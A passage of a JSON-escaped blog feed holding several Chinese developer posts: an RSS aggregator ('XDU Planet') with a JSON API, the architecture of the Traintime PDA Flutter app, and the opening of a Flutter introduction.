之类的,那可能会有很多的魔改版,然后闭源了。MPL 是按照文件强制开源的,就目前状态所言,假如你只是用了我的课程表代码文件,那么,你只需要开源课程表代码文件+你对这个代码的修改,就好了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/traintime-pda-v0.1.0-release-note.html"},{"title":"XDU Planet 感想","time":"2023-07-15T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"http://legacy.superbart.xyz/picture/Random/adwaita-d.webp\" alt=\"Featured image of post XDU Planet 感想\"/\u003e\u003ch2 id=\"这个项目的由来\"\u003e这个项目的由来\u003c/h2\u003e\n\u003cp\u003e事情从我看同学博客说起。我感觉把我同学的博客都聚合到一起看,看起来更方便,而且还能满足我一直想当“干新闻的”想法。毕竟,我在校内开过一段时间电台,天天报新闻()\u003c/p\u003e\n\u003cp\u003e我的想法是,按照时间更新 RSS 数据,然后对其进行解码渲染。客户端先选择对象,然后选择文章,就可以看了。我的想法可以说是服务器版本的 RSS 阅读器,只不过 RSS 列表是我写好的同学博客。这个和看报纸十分相似:作者给报社供稿,报社展示。所以我说有点像“搞新闻的”。\u003c/p\u003e\n\u003ch3 id=\"第一次尝试\"\u003e第一次尝试\u003c/h3\u003e\n\u003cp\u003e大约是去年,有个人写了个 go 语言实现的 xduplanet,他的想法是运行一个服务器程序,内部订好抓取 RSS 源的顺序,然后渲染显示。我当下来代码发现,虽然他能做到我上面的想法,但是开发阶段比较原始,他只有一个 json 文件写入所有人的 RSS 链接。而且页面是一个文章列表,而不是先选人再选文章。当时我时间较紧,能力也没那么强,我就作罢。\u003c/p\u003e\n\u003ch3 id=\"第二次尝试\"\u003e第二次尝试\u003c/h3\u003e\n\u003cp\u003e在做 Web 工程大作业的时候,我们组不知为啥,搞的是从网上获取数据,然后用 RSS 输出数据的软件。他是一个管道过滤器结构,RSS 输出只是一个最终的端口。这也是我的一大意向程序,然而我并没帮忙开发多少,只是验收的时候我去演示了而已:-P\u003c/p\u003e\n\u003cp\u003e这个软件实际上十分接近我的需求了,我可以按照列表,推送当天同学博客有啥更新。但是那次演示完了,我感觉我是不想用了……\u003c/p\u003e\n\u003ch3 id=\"这次尝试\"\u003e这次尝试\u003c/h3\u003e\n\u003cp\u003e前几天有个玩老电脑的推荐我 68k.news 和小可怜网的代码。虽然一开始我只是抱着看看能不能用,在服务器上运行了一下,但是我看这网站,感觉我的 XDU Planet 想法终于可以实现了,而且这回基本算是做熟了,摆在了我的桌子上。但是你吃饭还得把菜放在嘴里…..\u003c/p\u003e\n\u003ch3 id=\"代码修改\"\u003e代码修改\u003c/h3\u003e\n\u003cp\u003e修改了两个方面:Atom 源的支持和 API\u003c/p\u003e\n\u003ch4 id=\"atom-源头\"\u003eAtom 源头\u003c/h4\u003e\n\u003cp\u003e这个项目,由于本身是为了不支持 js 的老电脑显示当前新闻,他使用了 php-cgi 。不过没关心,我看代码十分简单,我就直接上了。我先简单地安排了我同学的博客,然后发现很多人的博客都显示不完全。\u003c/p\u003e\n\u003cp\u003e我去查看了这个项目使用的 php rss 库下面两个示例文件,和本项目进行比较。我发现本项目只支持 RSS 源头,而且 RSS 只支持查看 description 的东西。诚然对于显示新闻的 RSS 源来说,是够用了,但是我同学博客使用了不同的框架,这些框架输出源的格式对于这个程序,算超刚了:-P\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e一类是输出了 Atom 类型的源,这个打开头就和 RSS 不一样,程序最后报错。\u003c/li\u003e\n\u003cli\u003e一类是 RSS 源,但是内容都在 content:encoded 里面,这就是显示不完整。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e我是一个基本没接触过 PHP 的人,但是代码比较好理解,我发动 CV 大法,把示例文件里面的解码文件抄了过来。然后就可以显示了……乱码。\u003c/p\u003e\n\u003cp\u003e没错,可能是为了兼容老电脑,这个东西使用国标码编码中文。我还得套一层中文编码器,这个我倒感觉能理解。毕竟这个网站本身是针对 Windows 98 级别的老爷机了。\u003c/p\u003e\n\u003cp\u003e以上修改都是针对 channel.php 文件,也就是输出 RSS 文章列表和文章内容的代码。这个项目有很多诸如 channel_ppc.php 等文件,我故意没动,让他们管理我新闻东西的输出,看着新闻这点阵字体,真的很怀旧。\u003c/p\u003e\n\u003ch4 id=\"api\"\u003eAPI\u003c/h4\u003e\n\u003cp\u003e上面的修改过程也是对本项目架构和功能的一个了解。在此之后,我魔改生成 Json 响应代码也就顺水成舟了。\u003c/p\u003e\n\u003cp\u003e这就又要扯到 Traintime PDA 了,这是我大半年以来一直在写的信息查看器。我一直想给这玩意扩充点好玩的功能。最一开始我把很久以前给别人录的饭堂和综合楼数据,在我的程序上进行渲染。但是我总想给这玩意扩充点类似“社交”的功能。正好 XDU Planet 可以在一定程度上满足这个需求,这个可以给大家展示我们同学公开的实用东西,而且这个东西也不需要获取啥机密讯息:他们的博客都是在互联网上公开的,而且终端只需要单方面获取就行了,这是一个单向的信息传递。我的代码也都是开放的,十分符合我开源的执念233\u003c/p\u003e\n\u003cp\u003e前面我提到了 channel.php 的用途,而这个代码的前半部分基本不需要修改,我只需要把下面的 PHP-HTML 混合代码修改成纯脚本输出就行了。PHP 本身支持设置返回头啥的,我只需要把返回头设置成 application/json,然后使用 exit 函数返回我的数据就行了。这就是初步的修改。\u003c/p\u003e\n\u003cp\u003e显然这么简单一改是无法完全我的需求的,API 面向的客户端可不是老年机。为了最后的 Eye candy,我对最核心的数据结构进行了修改。你们可以查看我的 xdurepo.php 文件,我把这个人的图标,名称,地址都传了过去。而最终为了输出 json 更好被客户端解码,我在每个返回值外面都套上了 stdClass。\u003c/p\u003e\n\u003cp\u003e基本上 API 就算这样了,我这里写出来。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;repos\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;benderblog\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \u003cspan class=\"c1\"\u003e// key: 该对象名称,后面查询使用\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;SuperBart/Benderblog ~ 开发者\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 显示名称\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;website\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 博客网站\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;feed\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz/index.xml\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"c1\"\u003e// RSS 或 ATOM 源头\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;favicon\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://legacy.superbart.xyz/favicon.ico\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 图标\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 文章列表,下面分别对应标题,发布时间和来源链接\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;list\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2023-04-29T08:00:00+08:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;url\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// lastUpdateDate:本数据的获取时间,为将来备\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nt\"\u003e\u0026#34;lastUpdateTime\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1689432413\u003c/span\u003e\u003cspan class=\"err\"\u003e用\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003eGET\u003c/span\u003e \u003cspan class=\"err\"\u003e/xduplanet.php?feed=key\u0026amp;p=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e其中\u003c/span\u003e \u003cspan class=\"err\"\u003ekey\u003c/span\u003e \u003cspan class=\"err\"\u003e是上述提到的后面查询使用的\u003c/span\u003e \u003cspan class=\"err\"\u003ekey,p\u003c/span\u003e \u003cspan class=\"err\"\u003e指上面文章列表中第几个文章\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 文章标题,来源链接,发布时间,内容\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 注意内容是和前面所述老网站网页输出是一样的,也就是图片,视频等会被隐藏掉\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;title\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Flutter 介绍\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;link\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;https://www.superbart.xyz/p/flutter-introduction.html\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1682726400\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026#34;content\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Omit here.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我在 Traintime PDA 里面的相关分页也写了相关页面,还明白了 PageView 如何保存状态,每天一个编程小常识这就是?\u003c/p\u003e\n\u003ch3 id=\"后面的胡说阶段\"\u003e后面的胡说阶段\u003c/h3\u003e\n\u003cp\u003e我把这个服务挂在了我的服务器上,还上新了一些外网著名媒体。没敢上那些明显危险的,我感觉这些媒体都算是比较中立的吧:-P\u003c/p\u003e\n\u003cp\u003e顺便想说几句 PHP 开发,我写了一个文件,然后调试方式只能传到服务器,然后看 nginx 的 log。魔改体验比较痛苦:-P\u003c/p\u003e\n\u003cp\u003e对于新闻,作为一个看了十年中央十三台的人来说,我有点无法理解拿新闻看乐子的人的想法。虽然这个方式确实是给了我这个老木头一点亮光。比如说,前几天是故日本首相安倍晋三被刺杀一周年纪念日,我作为严肃看新闻的,去看现任首相岸田文雄去纪念,然后继续不顾周边国家骂街去放核污水。但是有人说“日本JK被摔倒一周年纪念日”,我总觉得有点无语,倒也觉得正常。\u003c/p\u003e\n\u003cp\u003e但我发现,有些时候真的有点太过了。比如说俄乌战争,本来我去网上只是去看战争状况,然后就是无论从那个角度,都是“俄罗斯粉丝”和“乌克兰粉丝”互相隔空输出,顺便拿乌克兰找乐啥的。我总觉得拿人被欺负开玩笑很不合适,虽然这件事本身很复杂,没有任何人是无辜的。虽然我早就接触过楼下老大爷天天建政,也算“身经百战”,但是我感觉,这可是一个了解世界,了解想法很重要的渠道,就这么当作乐子,真的有点不太合适。\u003c/p\u003e\n\u003cp\u003e我希望看到的是对一个事件有调查,有分析,有结论的东西,这样无论如何至少都能骂两句(不是)。而不是“今天澳大利亚又刮起了沙尘暴,养羊的少了几只羊,估计是走失了”这样的短视频。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/xdu-planet-acquaintance.html"},{"title":"Traintime PDA 架构设计","time":"2023-06-06T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/general_structure.png\" alt=\"Featured image of post Traintime PDA 架构设计 \"/\u003e\u003cp\u003eXDYou 就算 Traintime PDA 别称了。\u003c/p\u003e\n\u003ch2 id=\"整体架构设计\"\u003e整体架构设计\u003c/h2\u003e\n\u003cp\u003e由于本程序是一个信息查询工具,其基本是围绕数据运转的,所以我打算使用仓库架构。这个图作为一个大致的示例。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/repo.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/repo.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e但光靠一个“仓库”是无法维护本程序如此多类型的信息的,你现实中的仓库还得找个管理呢。因此我借鉴了构件系统的想法,把仓库里面的东西分成以下几个“部件”。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/components.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/components.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e仓库结构解决了我们如何管理我们复杂的数据,但是我们的程序是一个 GUI 程序。也就是说,这个程序有两个部分,一个是数据,一个是显示数据的东西。数据相当于仓库,而 GUI 是用来向仓库请求数据,并显示数据的部分。仓库返回数据的时候,肯定需要一些处理,这个东西就是控制器,是我们程序仓库的一大组成 部分,我将会在下面讲述。\n这个架构有个名称,叫做 MVC 架构,在此引入我在\u003ca class=\"link\" href=\"https://legacy.superbart.xyz/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 介绍\u003c/a\u003e里面提到的东西:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我先给大家介绍 MVC 架构,Model 模型,是说程序的功能。控制器是和视图View进行交流,View视图就是显示了。View 通过 Controller 获取 Model 中的东西。\n以下这段展示的是我程序对应的模型各组成的部分。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/simple_structure.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/simple_structure.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e这个架构也可以看作是一种流水线结构,其中控制器相当于一种过滤器。接下来我会专门开一章简介一下。\n同时,我们可以看出我们程序的层级结构,数据大致是从中心往外围传递的。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/level.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/level.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"控制器\"\u003e控制器\u003c/h2\u003e\n\u003cp\u003e我上文提到,控制器负责中转 GUI(也就是视图)的请求,处理后端传回来的数据。这个有两种实现方式,分别是观察式和控制器类式。\u003c/p\u003e\n\u003ch3 id=\"观察式\"\u003e观察式\u003c/h3\u003e\n\u003cp\u003e第一个是观察式,适用于数据单向流动,数据加工相对简单的情况。这种情况下,这个部件的数据流动遵循标准的数据流架构。这个过程中,由于数据的单向移动和最终 UI 的被动更新,我们可以认为是 UI \u003cstrong\u003e观察\u003c/strong\u003e数据改变。在这种情况下,数据更新依赖于其他部件的更新请求是不是顾及到了这个部件,比如说主页的全局刷新。\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/observe.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/observe.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch3 id=\"控制器类式\"\u003e控制器类式\u003c/h3\u003e\n\u003cp\u003e第二个是控制器类式,不仅适用于数据加工十分复杂的情况,而且适用于需要视图发出更新请求的情况。在这个情况下,数据的流动不是单纯的单向,而是双向的。而且由于涉及到很多信息,还有很多部件都依赖于一个信息源,这个控制器使用一个类的方式实现比较合适。\n在我的程序中,课表信息是用这个实现的,因为课表信息相当综合,而且很多视图依赖于课表信息。\n我的课表信息包括:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e当前周次信息\u003c/li\u003e\n\u003cli\u003e课程信息\u003c/li\u003e\n\u003cli\u003e课程的时间安排信息\u003c/li\u003e\n\u003cli\u003e根据上面两个信息,预先计算好的按照时间排序的课表信息\u003c/li\u003e\n\u003cli\u003e当前课程信息\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e依赖课表信息的视图有:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e课程表窗口,这个只是单向接受课表信息\u003c/li\u003e\n\u003cli\u003e首页的周次信息显示,单向接受周次信息\u003c/li\u003e\n\u003cli\u003e首页的当前课程卡片,这个不仅可以展示当前课程信息,还可以触发重新加载\u003c/li\u003e\n\u003cli\u003e首页重新加载包括重新加载课表\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e具体图示请看下面总结图中的课表相关部分。\u003c/p\u003e\n\u003ch2 id=\"自行管理状态\"\u003e自行管理状态\u003c/h2\u003e\n\u003cp\u003e虽然很多数据是遵循上面提到的控制器(数据流)系统。我程序有两个数据是自行管理的,也就是说,他不需要上面提到的管道,而是自行管理。因为这些数据依赖于之前已经获取到的数据。我的程序有两个部分是自行管理的:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e查询成绩中,自行选择科目计算均分,这个均分状态是由成绩查询窗口维护的。查询窗口维护一个成绩数组,自己检测选中的科目,然后计算显示。\u003c/li\u003e\n\u003cli\u003e查询打卡成绩中,我们需要维护一个布尔变量,他用来决定显示的是所有记录还是成功记录。显然,这需要依赖于已经返回的数据。大家可以类比为 js 里面对数组进行 filter 操作。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e上面两章想了解更多,可以看\u003ca class=\"link\" href=\"https://legacy.superbart.xyz/writing/Flutter%20Introduction.html\" target=\"_blank\" rel=\"noopener\"\u003eFlutter 介绍\u003c/a\u003e文章中 Flutter 内部的状态管理章节。\u003c/p\u003e\n\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\n\u003cp\u003e最后,我们根据分类,看出以下按照部件和数据流动看出来的布局。其中,横线表示这两个在程序中是紧密相关的,箭头代表了数据流动的方向。紫色的是控制器,蓝绿色的是最终的窗口。\n\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/XDYou_SAD/general_structure.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/XDYou_SAD/general_structure.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\n我们程序的架构是这样的:\u003cp\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e程序是围绕数据运转的,所以总体上遵循仓库架构,其中仓库分成若干组件。\u003c/li\u003e\n\u003cli\u003e各个组件有一条数据流的线性传递方式,控制器作为数据源,也就是仓库,和最终显示组件之间的过滤器和中转站。\u003c/li\u003e\n\u003cli\u003e大致可以看作数据-控制器-界面的三层结构。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/xdyou-sad.html"},{"title":"Flutter 介绍","time":"2023-04-29T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/Flutter%20Introduction/Maggie\u0026#39;s%20Butterfly%20Longest%20Daycard%20Short.jpg\" alt=\"Featured image of post Flutter 介绍\"/\u003e\u003cp\u003e有人邀请我去开个沙龙,我决定将这个,这个就是当时我的演讲稿。\u003c/p\u003e\n\u003ch2 id=\"什么是-flutter--flutter-的好处\"\u003e什么是 Flutter \u0026amp; Flutter 的好处\u003c/h2\u003e\n\u003cp\u003eFlutter 是一个跨平台的客户端(以及网络前端)开发工具,官方定义为:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eFlutter 是 Google 开源的应用开发框架,仅通过一套代码库,就能构建精美的、原生平台编译的多平台应用。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e鉴于入门介绍,我就说的明白些。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e这玩意是用来写客户端程序的,也就是面向用户的程序。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西能够为很多平台生成应用,尽量做到了“平台无关”。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这个东西上手比较简单,性能比较高,开发效率很高。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e目前这个和 React Native 并列两大最流行的跨平台开发平台。而 React Native 还是占用了 React 前端开发框架(Flutter 受 React 影响很大)的优势,Flutter 相比之下就比较小众了,找工作不太好找:-P\u003c/p\u003e\n\u003cp\u003e对我而言,有了 Flutter 的基础,后面要适应其他的类似框架就方便多了。最近我被(zi)人(ji)拉(zhao)过(shi)去(qing)写 vue 去了,我之前没有接触过。但是我稍微看了一下 vue 组合式的教程,就能给人打下手了。CSS 我现在还不会,感觉要会了,我就又会了一个框架(逃)。\u003c/p\u003e\n\u003ch2 id=\"dart-语言介绍\"\u003eDart 